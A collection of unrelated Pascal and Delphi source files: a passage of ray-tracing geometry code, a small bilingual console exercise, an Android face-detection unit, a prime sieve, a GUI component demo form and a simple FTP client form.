z := (r1 * b4.z) + (r2 * b7.z);
x := x - data.p1.x; {make relative to triangle origin}
y := y - data.p1.y;
z := z - data.p1.z;
c[n_c].x := (x * data.xbx) + (y * data.ybx) + (z * data.zbx); {2D canonical coor}
c[n_c].y := (x * data.xby) + (y * data.yby) + (z * data.zby);
end;
if b5.front <> b1.front then begin
n_c := n_c + 1; {make index of this new intersect point}
r1 := b1.dis / (b1.dis - b5.dis); {weighting factor for first box point}
r2 := 1.0 - r1; {weighting factor for second box point}
x := (r1 * b5.x) + (r2 * b1.x); {3D object space intersection coordinate}
y := (r1 * b5.y) + (r2 * b1.y);
z := (r1 * b5.z) + (r2 * b1.z);
x := x - data.p1.x; {make relative to triangle origin}
y := y - data.p1.y;
z := z - data.p1.z;
c[n_c].x := (x * data.xbx) + (y * data.ybx) + (z * data.zbx); {2D canonical coor}
c[n_c].y := (x * data.xby) + (y * data.yby) + (z * data.zby);
end;
if b5.front <> b3.front then begin
n_c := n_c + 1; {make index of this new intersect point}
r1 := b3.dis / (b3.dis - b5.dis); {weighting factor for first box point}
r2 := 1.0 - r1; {weighting factor for second box point}
x := (r1 * b5.x) + (r2 * b3.x); {3D object space intersection coordinate}
y := (r1 * b5.y) + (r2 * b3.y);
z := (r1 * b5.z) + (r2 * b3.z);
x := x - data.p1.x; {make relative to triangle origin}
y := y - data.p1.y;
z := z - data.p1.z;
c[n_c].x := (x * data.xbx) + (y * data.ybx) + (z * data.zbx); {2D canonical coor}
c[n_c].y := (x * data.xby) + (y * data.yby) + (z * data.zby);
end;
if b5.front <> b7.front then begin
n_c := n_c + 1; {make index of this new intersect point}
r1 := b7.dis / (b7.dis - b5.dis); {weighting factor for first box point}
r2 := 1.0 - r1; {weighting factor for second box point}
x := (r1 * b5.x) + (r2 * b7.x); {3D object space intersection coordinate}
y := (r1 * b5.y) + (r2 * b7.y);
z := (r1 * b5.z) + (r2 * b7.z);
x := x - data.p1.x; {make relative to triangle origin}
y := y - data.p1.y;
z := z - data.p1.z;
c[n_c].x := (x * data.xbx) + (y * data.ybx) + (z * data.zbx); {2D canonical coor}
c[n_c].y := (x * data.xby) + (y * data.yby) + (z * data.zby);
end;
if b6.front <> b2.front then begin
n_c := n_c + 1; {make index of this new intersect point}
r1 := b2.dis / (b2.dis - b6.dis); {weighting factor for first box point}
r2 := 1.0 - r1; {weighting factor for second box point}
x := (r1 * b6.x) + (r2 * b2.x); {3D object space intersection coordinate}
y := (r1 * b6.y) + (r2 * b2.y);
z := (r1 * b6.z) + (r2 * b2.z);
x := x - data.p1.x; {make relative to triangle origin}
y := y - data.p1.y;
z := z - data.p1.z;
c[n_c].x := (x * data.xbx) + (y * data.ybx) + (z * data.zbx); {2D canonical coor}
c[n_c].y := (x * data.xby) + (y * data.yby) + (z * data.zby);
end;
if b6.front <> b3.front then begin
n_c := n_c + 1; {make index of this new intersect point}
r1 := b3.dis / (b3.dis - b6.dis); {weighting factor for first box point}
r2 := 1.0 - r1; {weighting factor for second box point}
x := (r1 * b6.x) + (r2 * b3.x); {3D object space intersection coordinate}
y := (r1 * b6.y) + (r2 * b3.y);
z := (r1 * b6.z) + (r2 * b3.z);
x := x - data.p1.x; {make relative to triangle origin}
y := y - data.p1.y;
z := z - data.p1.z;
c[n_c].x := (x * data.xbx) + (y * data.ybx) + (z * data.zbx); {2D canonical coor}
c[n_c].y := (x * data.xby) + (y * data.yby) + (z * data.zby);
end;
if b6.front <> b7.front then begin
n_c := n_c + 1; {make index of this new intersect point}
r1 := b7.dis / (b7.dis - b6.dis); {weighting factor for first box point}
r2 := 1.0 - r1; {weighting factor for second box point}
x := (r1 * b6.x) + (r2 * b7.x); {3D object space intersection coordinate}
y := (r1 * b6.y) + (r2 * b7.y);
z := (r1 * b6.z) + (r2 * b7.z);
x := x - data.p1.x; {make relative to triangle origin}
y := y - data.p1.y;
z := z - data.p1.z;
c[n_c].x := (x * data.xbx) + (y * data.ybx) + (z * data.zbx); {2D canonical coor}
c[n_c].y := (x * data.xby) + (y * data.yby) + (z * data.zby);
end;
{
* All the intersection points between the box edges and the triangle plane
* have been found. Their 2D canonical triangle space coordinates are in the
* C array. N_C is the number of these intersection points, which must be from
* 3 to 6.
*
* Now classify each point as being inside or outside the triangle. If any
* point is inside, then we are done immediately. A clip status mask, CLIP_ACC,
* be kept to accumulate all the IN clip results for each line. If each point
* is OUT for the same triangle edge line, then there is definately no intersection.
}
clip_acc := 0; {init to no clip IN conditions found}
for i := 1 to n_c do begin {once for each intersection point}
c[i].clip := 0; {init to no clip IN conditions for this point}
if c[i].x >= 0.0
then c[i].clip := 1;
if c[i].y >= 0.0
then c[i].clip := c[i].clip ! 2;
if (c[i].x + c[i].y) <= 1.0
then c[i].clip := c[i].clip ! 4;
if c[i].clip = 7 then goto in_box; {point is within triangle ?}
clip_acc := clip_acc ! c[i].clip; {accumulate clip IN conditions}
end;
if clip_acc <> 7 then goto out_box; {all points are clipped by same edge ?}
{
* All the easy stuff has failed to decide whether the triangle is in the box.
* We have reduced it to a 2D problem where the points in C are the
* edges of the box intersected with the triangle plane in the canonical
* triangle space. In this space, the triangle extends from 0,0 to 1,0 to 0,1.
*
* We also know that none of the polygon points lie inside the triangle, and
* that the polygon is convex. Unfortunately we have no idea about the order
* of the polygon verticies.
*
* We will check each possible edge by whether it intersects any of the triangle
* sides. If none of them do, then the polygon either completely encloses
* the triangle or is completely disjoint. To determine which is which, we
* will keep track of whether the polygon intersected the X axis on both sides
* of the triangle or not. If it did, then the polygon is enclosing the triangle.
*
* Since we don't know which line segments between the polygon verticies are
* the polygon sides, we will check all possible line segments. At worst, this
* will cause us to check 15 segments instead of 6.
*
* The bit values in the CLIP field for each vertex have the following meaning:
* 1 - X >= 0
* 2 - Y >= 0
* 4 - X+Y <= 1
*
* We will be using bits in CLIP_ACC in the following way:
* 1 - X intersect > 1
* 2 - X intersect < 0
}
clip_acc := 0;
for i := 1 to n_c-1 do begin {outer loop for first vertex of segment}
c[i].clip := c[i].clip & 3; {select only X and Y clip check bits}
for j := i+1 to n_c do begin {inner loop for second vertex of segment}
if (c[i].clip & 2) <> (c[j].clip & 2) then begin {segment crosses X axis ?}
r1 := c[j].y / (c[j].y - c[i].y); {weighting factor for first vertex}
x := (r1 * c[i].x) + ((1.0 - r1) * c[j].x); {X axis intersect}
if x >= 0.0
then begin
if x <= 1.0 then goto in_box; {intersected triangle directly ?}
clip_acc := clip_acc ! 1;
end
else begin
clip_acc := clip_acc ! 2
end
;
if clip_acc = 3 then goto in_box; {polygon is enclosing triangle ?}
end; {done handling X axis intersection}
if (c[i].clip & 1) <> (c[j].clip & 1) then begin {segment crosses Y axis ?}
r1 := c[j].x / (c[j].x - c[i].x); {weighting factor for first vertex}
y := (r1 * c[i].y) + ((1.0 - r1) * c[j].y); {Y axis intersect}
if (y >= 0.0) and (y <= 1.0) then goto in_box; {intersects tri directly ?}
end; {done handling Y axis intersection}
end; {back for new end of segment vertex}
end; {back for new start of segment vertex}
end; {done with DATA abbreviation}
out_box: {jump here if no part of tri is inside box}
here := false; {the triangle is not in the box}
return;
in_box: {jump here if some part of tri is inside box}
here := true; {some part of triangle is in the box}
stats_tri.hit_box := stats_tri.hit_box + 1; {one more tri/box intersect found}
end;
{
********************************************************************************
}
procedure type1_stats_init;
val_param;
begin
stats_tri.isect_ray := 0; {init triangle stats}
stats_tri.hit_ray := 0;
stats_tri.isect_box := 0;
stats_tri.hit_box := 0;
stats_oct.n_parent := 0; {init octree stats}
stats_oct.n_leaf := 0;
stats_oct.mem := 0;
end;
{
********************************************************************************
}
procedure type1_stats_print;
val_param;
var
i: sys_int_machine_t;
r: real;
begin
writeln;
writeln ('Ray tracing triangle statistics:');
writeln (' Ray intersect checks: ', stats_tri.isect_ray:9);
writeln (' Ray hits: ', stats_tri.hit_ray:9);
writeln (' Box intersect checks: ', stats_tri.isect_box:9);
writeln (' Box hits: ', stats_tri.hit_box:9);
writeln;
writeln ('Ray tracing octree statistics:');
writeln (' Parent nodes: ', stats_oct.n_parent:9);
writeln (' Leaf voxels: ', stats_oct.n_leaf:9);
i := stats_oct.n_parent + stats_oct.n_leaf;
writeln (' Total voxels: ', i:9);
r := stats_oct.mem / 1048576.0;
writeln (' Mbytes dynamic memory ', r:12:2);
end;
{
********************************************************************************
*
* Subroutine TYPE1_TRI_CLASS_MAKE (CLASS)
*
* Fill in the routines block for this class of objects.
}
procedure type1_tri_class_make ( {fill in object class descriptor}
out class: ray_object_class_t); {block to fill in}
val_param;
begin
class.create := addr(type1_tri_create);
class.intersect_check := addr(type1_tri_intersect_check);
class.hit_geom := addr(type1_tri_intersect_geom);
class.intersect_box := addr(type1_tri_intersect_box);
class.add_child := nil;
end;
|
(*Напишите ещё одну версию процедуры Pause, выводящую сообщение
либо на русском, либо на английском языке. Параметр этой процедуры должен
быть булевым*)
procedure Pause(lang : boolean);
begin
if lang then
Writeln('Нажмите Enter...')
else
Writeln('Press Enter...');
end;
begin
Pause(true);
Pause(false);
end. |
unit Grijjy.FaceDetection.Android;
{< Face Detection for Android. }
interface
uses
FMX.Graphics,
Androidapi.JNI.Media,
Grijjy.FaceDetection;
type
{ IgoFaceDetector implementation }
TgoFaceDetectorImplementation = class(TInterfacedObject, IgoFaceDetector)
private
FDetector: JFaceDetector;
FMaxFaces: Integer;
FWidth: Integer;
FHeight: Integer;
protected
{ IgoFaceDetector }
function DetectFaces(const ABitmap: TBitmap): TArray<TgoFace>;
public
constructor Create(const AAccuracy: TgoFaceDetectionAccuracy;
const AMaxFaces: Integer);
end;
implementation
uses
System.Types,
Androidapi.Bitmap,
Androidapi.JNIBridge,
Androidapi.JNI,
Androidapi.JNI.GraphicsContentViewText;
{ TgoFaceDetectorImplementation }
constructor TgoFaceDetectorImplementation.Create(
const AAccuracy: TgoFaceDetectionAccuracy; const AMaxFaces: Integer);
begin
inherited Create;
FMaxFaces := AMaxFaces;
{ Accuracy is not supported on Android. }
end;
function TgoFaceDetectorImplementation.DetectFaces(
const ABitmap: TBitmap): TArray<TgoFace>;
var
Width, Height, X, Y, R, G, B, I, Count: Integer;
SrcBitmap: TBitmapData;
Bitmap: JBitmap;
BitmapId: JNIObject;
Src: PCardinal;
Dst: PWord;
OddWidth: Boolean;
C: Cardinal;
Faces: TJavaObjectArray<JFaceDetector_Face>;
SrcFace: JFaceDetector_Face;
DstFace: TgoFace;
Point: JPointF;
P: TPointF;
Distance: Single;
begin
{ Android's FaceDetector class requires Width to be even }
Width := ABitmap.Width;
OddWidth := Odd(Width);
if (OddWidth) then
Dec(Width);
Height := ABitmap.Height;
{ Use previously cache FaceDetector class if available and dimensions
haven't changed. }
if (FDetector = nil) or (Width <> FWidth) or (Height <> FHeight) then
begin
FDetector := nil;
FWidth := Width;
FHeight := Height;
FDetector := TJFaceDetector.JavaClass.init(Width, Height, FMaxFaces);
end;
{ The FaceDetector class works with the Android Bitmap class.
FaceDetector requires that the bitmap is in 565 format }
Bitmap := TJBitmap.JavaClass.createBitmap(Width, Height,
TJBitmap_Config.JavaClass.RGB_565);
BitmapId := (Bitmap as ILocalObject).GetObjectID;
{ Use NDK AndroidBitmap APIs for fast access to native Android bitmaps. }
if (AndroidBitmap_lockPixels(TJNIResolver.GetJNIEnv, BitmapId, @Dst) <> 0) then
Exit(nil);
try
{ Copy the FireMonkey bitmap to the native Android bitmap, converting to
RGB565 format in the process. }
if (not ABitmap.Map(TMapAccess.Read, SrcBitmap)) then
Exit(nil);
try
Src := SrcBitmap.Data;
for Y := 0 to Height - 1 do
begin
for X := 0 to Width - 1 do
begin
C := Src^;
R := (C shr (16 + 3)) and $1F; // 5 bits
G := (C shr ( 8 + 2)) and $3F; // 6 bits
B := (C shr ( 0 + 3)) and $1F; // 5 bits
Dst^ := (R shl 11) or (G shl 5) or B;
Inc(Src);
Inc(Dst);
end;
if OddWidth then
Inc(Src);
end;
finally
ABitmap.Unmap(SrcBitmap);
end;
finally
AndroidBitmap_unlockPixels(TJNIResolver.GetJNIEnv, BitmapId);
end;
Assert(Assigned(FDetector));
{ Create a Java array of JFaceDetector_Face objects. }
Faces := TJavaObjectArray<JFaceDetector_Face>.Create(FMaxFaces);
{ Pass this array to the SrcFace detector to find the faces. }
Count := FDetector.findFaces(Bitmap, Faces);
if (Count = 0) then
Exit(nil);
{ Convert the JFaceDetector_Face objects to TgoFace records. }
SetLength(Result, Count);
Point := TJPointF.Create;
for I := 0 to Count - 1 do
begin
{ Get Java SrcFace from array }
SrcFace := TJFaceDetector_Face.Wrap(Faces.GetRawItem(I));
SrcFace.getMidPoint(Point);
P.X := Point.x;
P.Y := Point.y;
Distance := SrcFace.eyesDistance;
{ Calculate the position of the eyes based on the mid point of the SrcFace
and the distance between the eyes.
NOTE: We should use SrcFace.pose to rotate the position of the eyes around
the midpoint. However, on most Android devices, Pose always returns 0,
so there is not much point in using it. }
DstFace.LeftEyePosition := PointF(P.X - 0.5 * Distance, P.Y);
DstFace.RightEyePosition := PointF(P.X + 0.5 * Distance, P.Y);
DstFace.EyesDistance := Distance;
{ Android does not return the bounds of the SrcFace. Instead, we set it
ourselves based on the eye positions. We set it in such a way to match
the way iOS does it. }
Distance := Distance * 1.35;
DstFace.Bounds := RectF(P.X - Distance, P.Y - 0.7 * Distance,
P.X + Distance, P.Y + 1.3 * Distance);
Result[I] := DstFace;
end;
end;
end.
|
program PrimeSieve;
{$MODE OBJFPC}
const
n = 10000;
var
primes : array [2..n] of Boolean;
i,j : integer;
begin
writeln('Prime Numbers from 2 to ', n);
for i := 2 to n do
primes[i] := true;
for i := 2 to n do
if primes[i] = true then
begin
write(i,' ');
j := i + i;
while j <= n do
begin
primes[j] := false;
j := j + i;
end;
end;
writeln
end. |
{********************************************************************}
{ TMS TAdvPolyList Demo }
{ }
{ }
{ written by TMS Software }
{ copyright ?2012 }
{ Email : info@tmssoftware.com }
{ Website : http://www.tmssoftware.com }
{********************************************************************}
unit UDemo3;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, AdvHorizontalPolyList, GDIPWedgeItem,
GDIPImageTextButtonSectionItem, GDIPLargeButtonedItem, ComCtrls,
GDIPRadioItem, GDIPButtonItem, GDIPImageTextButtonItem, GDIPDropDownItem,
GDIPGroupItem, GDIPSectionItem, GDIPImageSectionItem, GDIPHTMLSectionItem,
GDIPHTMLItem, GDIPCustomItem, GDIPTextItem, GDIPImageTextItem,
GDIPGraphicItem, GDIPCheckItem, CustomItemsContainer, AdvPolyList, GDIPImageItem,
StdCtrls, ExtCtrls, AdvPolyPager, GDIPPictureContainer, AdvStyleIF, GDIPLargeButtonedHTMLItem;
type
TForm665 = class(TForm)
AdvPolyList1: TAdvPolyList;
HTMLSectionItem1: THTMLSectionItem;
HTMLSectionItem2: THTMLSectionItem;
HTMLItem5: THTMLItem;
HTMLItem6: THTMLItem;
GroupItem1: TGroupItem;
AdvPolyList2: TAdvPolyList;
CheckItem1: TCheckItem;
CheckItem2: TCheckItem;
CheckItem3: TCheckItem;
CheckItem4: TCheckItem;
CheckItem5: TCheckItem;
CheckItem10: TCheckItem;
CheckItem11: TCheckItem;
CheckItem12: TCheckItem;
CheckItem13: TCheckItem;
GDIPPictureContainer1: TGDIPPictureContainer;
AdvPolyList3: TAdvPolyList;
DropDownItem1: TDropDownItem;
ButtonItem1: TButtonItem;
ButtonItem2: TButtonItem;
ButtonItem3: TButtonItem;
ButtonItem4: TButtonItem;
DropDownItem2: TDropDownItem;
RadioItem1: TRadioItem;
RadioItem2: TRadioItem;
RadioItem3: TRadioItem;
RadioItem4: TRadioItem;
AdvPolyList4: TAdvPolyList;
LargeButtonedItem1: TLargeButtonedItem;
TextItem1: TTextItem;
AdvHorizontalPolyList1: TAdvHorizontalPolyList;
MonthCalendar1: TMonthCalendar;
TextItem2: TTextItem;
AdvPolyList5: TAdvPolyList;
HTMLItem1: THTMLItem;
HTMLItem2: THTMLItem;
HTMLItem3: THTMLItem;
WedgeItem1: TWedgeItem;
ImageSectionItem1: TImageSectionItem;
AdvPolyPager1: TAdvPolyPager;
AdvPolyPage1: TAdvPolyPage;
Label1: TLabel;
AdvPolyPage2: TAdvPolyPage;
AdvPolyPage3: TAdvPolyPage;
ImageSectionItem2: TImageSectionItem;
CheckItem6: TCheckItem;
CheckItem7: TCheckItem;
CheckItem8: TCheckItem;
PageControl1: TPageControl;
TabSheet1: TTabSheet;
TabSheet2: TTabSheet;
TabSheet3: TTabSheet;
TabSheet4: TTabSheet;
HTMLItem4: THTMLItem;
HTMLItem7: THTMLItem;
HTMLItem8: THTMLItem;
Panel1: TPanel;
Image1: TImage;
Label2: TLabel;
StatusBar1: TStatusBar;
procedure FormCreate(Sender: TObject);
procedure CheckItem1ItemClick(Sender: TObject; Item: TCustomItem);
procedure AdvHorizontalPolyList1ItemSelect(Sender: TObject;
Item: TCustomItem; var Allow: Boolean);
procedure ButtonItem1ItemButtonClick(Sender: TObject; Item: TCustomItem);
procedure RadioItem1ItemCheckChanged(Sender: TObject; Item: TCustomItem;
Checked: Boolean);
procedure HTMLItem6DescriptionAnchorClick(Sender: TObject; Anchor: string);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form665: TForm665;
implementation
uses
ShellApi;
{$R *.dfm}
procedure TForm665.AdvHorizontalPolyList1ItemSelect(Sender: TObject;
Item: TCustomItem; var Allow: Boolean);
begin
Image1.Picture.Assign((Item as TImageItem).Image);
end;
procedure TForm665.ButtonItem1ItemButtonClick(Sender: TObject;
Item: TCustomItem);
begin
StatusBar1.Panels[0].Text := (Item as TButtonItem).Caption;
end;
procedure TForm665.CheckItem1ItemClick(Sender: TObject; Item: TCustomItem);
begin
(Item as TCheckItem).Checked := not (Item as TCheckItem).Checked;
end;
procedure TForm665.FormCreate(Sender: TObject);
var
I, J: Integer;
begin
HTMLItem6.Description := '<ul><li><u>Meeting</u> with Steve at 8AM </li>'+
'<li>Presentation <i>new</i> product at 3<b>PM</b></li>'+
'<li>Meeting with <a href="mailto:john@email.com">John</a> at 4PM </li>'+
'<li>Interview at 6<b>PM</b> - <font color="clred">cancelled</font></li>'+
'</ul>';
J := 0;
for I := 0 to 19 do
begin
Randomize;
with TImageItem(AdvHorizontalPolyList1.AddItem(TImageItem)) do
begin
Width := 200;
ImageWidth := 175;
ImageHeight := 175;
Inc(J);
if J > 8 then
J := 1;
Image.LoadFromFile('Sample photos\'+inttostr(J)+'.jpg');
Caption := 'Nature picture ' + inttostr(I + 1);
AspectRatio := true;
end;
end;
{
AStyle := tsOffice2007Luna;
AdvPolyList1.SetComponentStyle(AStyle);
AdvPolyList2.SetComponentStyle(AStyle);
AdvPolyList3.SetComponentStyle(AStyle);
AdvPolyList4.SetComponentStyle(AStyle);
AdvPolyList5.SetComponentStyle(AStyle);
AdvHorizontalPolyList1.SetComponentStyle(AStyle);
}
AdvPolyList1.List.ConvertItem(TextItem2, TSectionItem);
(AdvPolyList1.List.Items[1] as TSectionItem).Caption := '';
(AdvPolyList1.List.Items[1] as TSectionItem).LineVisible := false;
AdvHorizontalPolyList1.SelectItem(0);
end;
procedure TForm665.HTMLItem6DescriptionAnchorClick(Sender: TObject;
Anchor: string);
begin
ShellExecute(Handle, 'Open', PChar(Anchor), nil, nil, SW_SHOWNORMAL);
end;
procedure TForm665.RadioItem1ItemCheckChanged(Sender: TObject;
Item: TCustomItem; Checked: Boolean);
begin
if Checked then
StatusBar1.Panels[0].Text := (Item as TRadioItem).Caption;
end;
end.
|
unit frmSimpleFTPU;
{.$define USING_IE5}
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
Menus, ImgList, ExtCtrls, ActnList, ToolWin, ComCtrls, WinInetControl,
SimpFTP, StdCtrls, ShellAPI;
resourcestring
S_ERR_CONNECTED_TO = 'Connected to %s';
S_ERR_DISCONNECTED_FROM = 'Disconnected from %s';
S_FTP_GETTING_FILE = 'Getting %s';
S_FTP_PUTTING_FILE = 'Uploading %s';
const
C_PNL_STATUSTEXT = 0;
C_PNL_STATUSBAR = 1;
type
TListItemType = (itFile, itFolder);
TfrmSimpleFTP = class(TForm)
ftpMain: TSimpleFTP;
stbMain: TStatusBar;
ToolBar1: TToolBar;
aclMain: TActionList;
spltVert: TSplitter;
pnlTmpEdits: TPanel;
imlButtons: TImageList;
MainMenu1: TMainMenu;
popLocal: TPopupMenu;
popRemote: TPopupMenu;
edtHost: TEdit;
memStatus: TMemo;
spltHorz: TSplitter;
actConnectToSite: TAction;
Label1: TLabel;
edtUser: TEdit;
Label2: TLabel;
edtPassword: TEdit;
Label3: TLabel;
pnlLocal: TPanel;
pnlRemote: TPanel;
lvRemote: TListView;
btnConnect: TToolButton;
actDisconnect: TAction;
btnDisconnect: TToolButton;
ToolButton2: TToolButton;
actGetFile: TAction;
actPutFile: TAction;
File1: TMenuItem;
Connect1: TMenuItem;
Disconnect1: TMenuItem;
N1: TMenuItem;
actExit: TAction;
actExit1: TMenuItem;
lvLocal: TListView;
actRefreshRemote: TAction;
actCDUPRemote: TAction;
pnlRemoteLbl: TPanel;
pnlLocalLbl: TPanel;
edtCommand: TEdit;
btnGet: TToolButton;
btnPut: TToolButton;
btnRefresh: TToolButton;
ToolButton1: TToolButton;
Label4: TLabel;
GetFile1: TMenuItem;
PutFile1: TMenuItem;
N2: TMenuItem;
Refresh1: TMenuItem;
actRefreshLocal: TAction;
N3: TMenuItem;
actRefreshRemote1: TMenuItem;
pbMain: TProgressBar;
actGetAllFiles: TAction;
imlFiles: TImageList;
tlbLocal: TToolBar;
btnCDUPLocal: TToolButton;
tlbRemote: TToolBar;
btnCDUPRemote: TToolButton;
actCDUPLocal: TAction;
procedure edtHostKeyUp(Sender: TObject; var Key: Word;
Shift: TShiftState);
procedure ftpMainFindItem(Sender: TObject;
FindData: _WIN32_FIND_DATAA);
procedure actConnectToSiteExecute(Sender: TObject);
procedure actExitExecute(Sender: TObject);
procedure lvRemoteDblClick(Sender: TObject);
procedure ftpMainDisconnected(Sender: TObject);
procedure ftpMainConnected(Sender: TObject);
procedure actRefreshRemoteExecute(Sender: TObject);
procedure actCDUPRemoteExecute(Sender: TObject);
procedure actDisconnectExecute(Sender: TObject);
procedure edtCommandKeyUp(Sender: TObject; var Key: Word;
Shift: TShiftState);
procedure lvRemoteSelectItem(Sender: TObject; Item: TListItem;
Selected: Boolean);
procedure lvRemoteCompare(Sender: TObject; Item1, Item2: TListItem;
Data: Integer; var Compare: Integer);
procedure actRefreshLocalExecute(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure lvLocalDblClick(Sender: TObject);
procedure stbMainDrawPanel(StatusBar: TStatusBar; Panel: TStatusPanel;
const Rect: TRect);
procedure actGetFileExecute(Sender: TObject);
procedure ftpMainTransferProgress(Sender: TObject;
ProgressInfo: TFTPProgressInfo);
procedure actPutFileExecute(Sender: TObject);
procedure lvLocalSelectItem(Sender: TObject; Item: TListItem;
Selected: Boolean);
procedure actCDUPLocalExecute(Sender: TObject);
private
{ Private declarations }
procedure AddNewFileItem(Item: TListItem; FindData: TWin32FindData);
function GetShellInfo(const FileName: string;
dwFileAttributes: DWORD): TSHFileInfo;
function GetListItemType(Item: TListItem): TListItemType;
function GetLocalDir: string;
function GetRemoteDir: string;
procedure SetLocalDir(const Value: string);
procedure SetRemoteDir(const Value: string);
public
{ Public declarations }
procedure ConnectToSite;
procedure ClearFileList(
const lvFiles: TListView; sPath: string
);
property LocalDir: string read GetLocalDir write SetLocalDir;
property RemoteDir: string read GetRemoteDir write SetRemoteDir;
end;
var
frmSimpleFTP: TfrmSimpleFTP;
implementation
uses
RGStrFuncs;
{$R *.DFM}
procedure TfrmSimpleFTP.ConnectToSite;
begin
Screen.Cursor := crAppStart;
try
with ftpMain do begin
HostName := edtHost.Text;
UserName := edtUser.Text;
Password := edtPassword.Text;
Disconnect;
lvRemote.Items.Clear;
try
Connect;
except
On E: Exception do
memStatus.Lines.Add(E.Message);
end;
end;
finally
Screen.Cursor := crDefault;
end;
end;
procedure TfrmSimpleFTP.edtHostKeyUp(Sender: TObject; var Key: Word;
Shift: TShiftState);
begin
If Key = VK_RETURN then
ConnectToSite;
end;
procedure TfrmSimpleFTP.ftpMainFindItem(Sender: TObject;
FindData: _WIN32_FIND_DATAA);
begin
If (string(FindData.cFileName) = '.') or
(string(FindData.cFileName) = '..') then
exit;
AddNewFileItem(lvRemote.Items.Add, FindData);
end;
procedure TfrmSimpleFTP.actConnectToSiteExecute(Sender: TObject);
begin
ConnectToSite;
end;
procedure TfrmSimpleFTP.actExitExecute(Sender: TObject);
begin
Close;
end;
procedure TfrmSimpleFTP.lvRemoteDblClick(Sender: TObject);
var
sOldDir: string;
begin
if not assigned(lvRemote.Selected) then
exit;
Case GetListItemType(lvRemote.Selected) of
itFile:
actGetFile.Execute;
itFolder:
begin
sOldDir := RemoteDir;
RemoteDir := Add_UNIXSlash(sOldDir)
+ lvRemote.Selected.Caption;
end;
end;
end;
procedure TfrmSimpleFTP.ClearFileList(
const lvFiles: TListView; sPath: string
);
var
i: Integer;
begin
with lvFiles do begin
for i := 0 to Pred(Items.Count) do
if assigned(Items[i].Data) then
dispose(pWin32FindData(Items[i].Data));
Items.Clear;
end;
end;
procedure TfrmSimpleFTP.ftpMainDisconnected(Sender: TObject);
begin
memStatus.Lines.Add(Format(S_ERR_DISCONNECTED_FROM, [ftpMain.HostName]));
actConnectToSite.Enabled := True;
actDisconnect.Enabled := False;
actRefreshRemote.Enabled := False;
ClearFileList(lvRemote, RemoteDir);
RemoteDir := '/';
end;
procedure TfrmSimpleFTP.ftpMainConnected(Sender: TObject);
begin
with ftpMain do begin
actConnectToSite.Enabled := False;
actDisconnect.Enabled := True;
actRefreshRemote.Enabled := True;
memStatus.Lines.Add(MOTD);
memStatus.Lines.Add(Format(S_ERR_CONNECTED_TO, [HostName]));
List;
end;
end;
procedure TfrmSimpleFTP.actRefreshRemoteExecute(Sender: TObject);
begin
Screen.Cursor := crAppStart;
actCDUPRemote.Enabled := (Length(RemoteDir) > 1);
try
ClearFileList(lvRemote, RemoteDir);
pnlRemoteLbl.Caption := RemoteDir;
ftpMain.List;
lvRemote.AlphaSort;
finally
Screen.Cursor := crDefault;
end;
end;
procedure TfrmSimpleFTP.actCDUPRemoteExecute(Sender: TObject);
begin
RemoteDir := '..';
end;
procedure TfrmSimpleFTP.actDisconnectExecute(Sender: TObject);
begin
ftpMain.Disconnect;
end;
procedure TfrmSimpleFTP.edtCommandKeyUp(Sender: TObject; var Key: Word;
Shift: TShiftState);
begin
{$ifdef USING_IE5}
If Key = VK_RETURN then
with ftpMain do begin
FTPCommand(edtCommand.Text, nil);
memStatus.Lines.Add(LastError);
end;
{$endif}
end;
procedure TfrmSimpleFTP.lvRemoteSelectItem(Sender: TObject;
Item: TListItem; Selected: Boolean);
begin
actGetFile.Enabled :=
(Selected)
and
(TWin32FindData(Item.Data^).dwFileAttributes and faDirectory = 0);
end;
procedure TfrmSimpleFTP.lvRemoteCompare(Sender: TObject; Item1,
Item2: TListItem; Data: Integer; var Compare: Integer);
begin
// Files are equal (both dirs or both files), compare by text
If {(TWin32FindData(Item1.Data^).dwFileAttributes and faDirectory)
= (TWin32FindData(Item2.Data^).dwFileAttributes and faDirectory)
}
GetListItemType(Item1) = GetListItemType(Item2)
then begin
Compare := CompareText(Item1.Caption, Item2.Caption);
exit;
end;
If GetListItemType(Item1) = itFolder
then
Compare := -1
else
Compare := 1;
end;
procedure TfrmSimpleFTP.actRefreshLocalExecute(Sender: TObject);
var
srHits: TSearchRec;
begin
Screen.Cursor := crAppStart;
try
ClearFileList(lvLocal, LocalDir);
actCDUPLocal.Enabled := (Length(LocalDir) > 2);
try
if FindFirst(
Add_Slash(LocalDir) + '*.*', faAnyFile - faSysFile, srHits
) = 0 then begin
try
repeat
If (srHits.Name = '..') or (srHits.Name = '.') then
Continue;
AddNewFileItem(lvLocal.Items.Add, srHits.FindData);
until FindNext(srHits) <> 0;
finally
Sysutils.FindClose(srHits);
end;
end;
except
on exception do ;
end;
lvLocal.AlphaSort;
finally
Screen.Cursor := crDefault;
end;
end;
procedure TfrmSimpleFTP.FormCreate(Sender: TObject);
var
SFI: TSHFileInfo;
begin
pbMain.Parent := stbMain;
imlFiles.Handle := SHGetFileInfo('', 0, SFI, SizeOf(SFI),
SHGFI_SYSICONINDEX or SHGFI_SMALLICON);
actRefreshLocal.Execute;
end;
procedure TfrmSimpleFTP.AddNewFileItem(Item: TListItem;
FindData: TWin32FindData);
{
With a newly-added item, sort out its viewable properties based on the
TWin32FindData structure supplied
}
var
NewWin32Data: pWin32FindData;
SFI: TSHFileInfo;
begin
with Item do begin
new(NewWin32Data);
move(FindData, NewWin32Data^, sizeof(FindData));
Data := NewWin32Data;
Caption := FindData.cFileName;
SFI := GetShellInfo(
Add_Slash(LocalDir) + Item.Caption,
FindData.dwFileAttributes
);
ImageIndex := SFI.iIcon;
If (FindData.dwFileAttributes and FILE_ATTRIBUTE_DIRECTORY)
= FILE_ATTRIBUTE_DIRECTORY then
SubItems.Add('')
else
// Add file size
SubItems.Add(
NormalizeBytesTransferred(FindData.nFileSizeLow)
);
// Add type
SubItems.Add(StrPas(SFI.szTypeName));
// Add last modified
SubItems.Add(
FormatDateTime(
'dd/mm/yyyy hh:mm:ss',
FileTimeToDateTime(FindData.ftLastWriteTime)
)
);
end;
end;
procedure TfrmSimpleFTP.lvLocalDblClick(Sender: TObject);
begin
If not assigned(lvLocal.Selected) then
exit;
Case GetListItemType(lvLocal.Selected) of
itFile:
actPutFile.Execute;
itFolder:
begin
LocalDir :=
Add_Slash(LocalDir) + lvLocal.Selected.Caption;
actRefreshLocal.Execute;
end;
end;
end;
